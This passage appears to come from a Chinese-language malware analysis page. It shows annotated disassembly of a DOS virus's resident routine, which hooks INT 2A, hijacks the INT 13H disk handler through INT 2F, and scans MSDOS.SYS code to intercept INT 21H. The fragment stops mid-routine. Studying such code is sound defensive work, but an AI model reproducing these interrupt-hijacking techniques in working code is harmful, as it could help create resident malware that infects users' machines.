; 文件驻留引入 INT 2A 代码部分 ; 初始化时使用 ;========================================================================== F6C8:0351 60PUSHA F6C8:0352 1EPUSHDS F6C8:0353 06PUSHES F6C8:0354 2ECS: F6C8:0355 C606FF00EBMOV BYTE PTR [00FF],EB ;INT 13H F6C8:035A 2ECS: ;不检测 F6C8:035B C60658053DMOV BYTE PTR [0558],3D ;INT 21H 不检测 F6C8:0360 B80016MOV AX,1600 ;WINDOWS 增强模式检验 F6C8:0363 CD2FINT 2F F6C8:0365 0AC0ORAL,AL F6C8:0367 7505JNZ 036E ;WINDOWS 运行转 036E F6C8:0369 E881FECALL01ED ;随机生成 INT 13H 地址 F6C8:036C EB03JMP 0371 F6C8:036E E8B9FECALL022A ;随机生成 INT 13H 地址 F6C8:0371 B80013MOV AX,1300 ;取得原 INT 13H 地址 F6C8:0374 8BD3MOV DX,BX ;并设置新 INT 13H 地址 F6C8:0376 06PUSHES F6C8:0377 1FPOP DS ;INT 2F 之 1300 功能 F6C8:0378 CD2FINT 2F ;入口ES:BX 及 DS:DX F6C8:037A 2ECS: ;为新 INT 13H 地址 F6C8:037B 8916F800MOV [00F8],DX ;出口ES:BX 及 DS:DX F6C8:037F 2ECS: ;为旧 INT 13H 地址 F6C8:0380 8C1EFA00MOV [00FA],DS F6C8:0384 EB03JMP 0389 ;转截取 INT 21H (0389) ;========================================================================== ;BOOT 引导驻留引入 INT 2A 入口 F6C8:0386 60PUSHA F6C8:0387 1EPUSHDS F6C8:0388 06PUSHES ;========================================================================== ;截取 INT 21H 代码部分 F6C8:0389 B80312MOV AX,1203 ;取 MSDOS.SYS 数据段地址 F6C8:038C CD2FINT 2F ;返回段地址 = DS F6C8:038E 8CD8MOV AX,DS F6C8:0390 8CD6MOV SI,SS F6C8:0392 2BF0SUB SI,AX F6C8:0394 7403JZ0399 ;在 MSDOS.SYS 中执行 F6C8:0396 E99D00JMP 0436 ;转 0399, 否则退出 F6C8:0399 0EPUSHCS F6C8:039A 1FPOP DS F6C8:039B A33101MOV [0131],AX F6C8:039E C606C00DEBMOV BYTE PTR [0DC0],EB F6C8:03A3 C6060401EBMOV BYTE PTR [0104],EB F6C8:03A8 C4063A04LES AX,[043A] F6C8:03AC 8EDEMOV DS,SI F6C8:03AE A3A800MOV [00A8],AX F6C8:03B1 8C06AA00MOV [00AA],ES ;恢复原 INT 2A 中断向量 F6C8:03B5 8BECMOV BP,SP F6C8:03B7 8E5E16MOV DS,[BP+16] ;调用代码段 F6C8:03BA 83FE80CMP SI,-80 ;为 INT 21 的代码段 F6C8:03BD 7777JA0436 F6C8:03BF ACLODSB F6C8:03C0 3C2ECMP AL,2E ;找 2E 8B 9F xx xx F6C8:03C2 75F6JNZ 03BA ;即 MOV BX,CS:[BX+xxxx] F6C8:03C4 ADLODSW F6C8:03C5 3D8B9FCMP AX,9F8B
上一篇:Windows新漏洞将任意用户提升到SYSTEM级别的权限的方法
下一篇:Burglar 病毒的分析和防治
|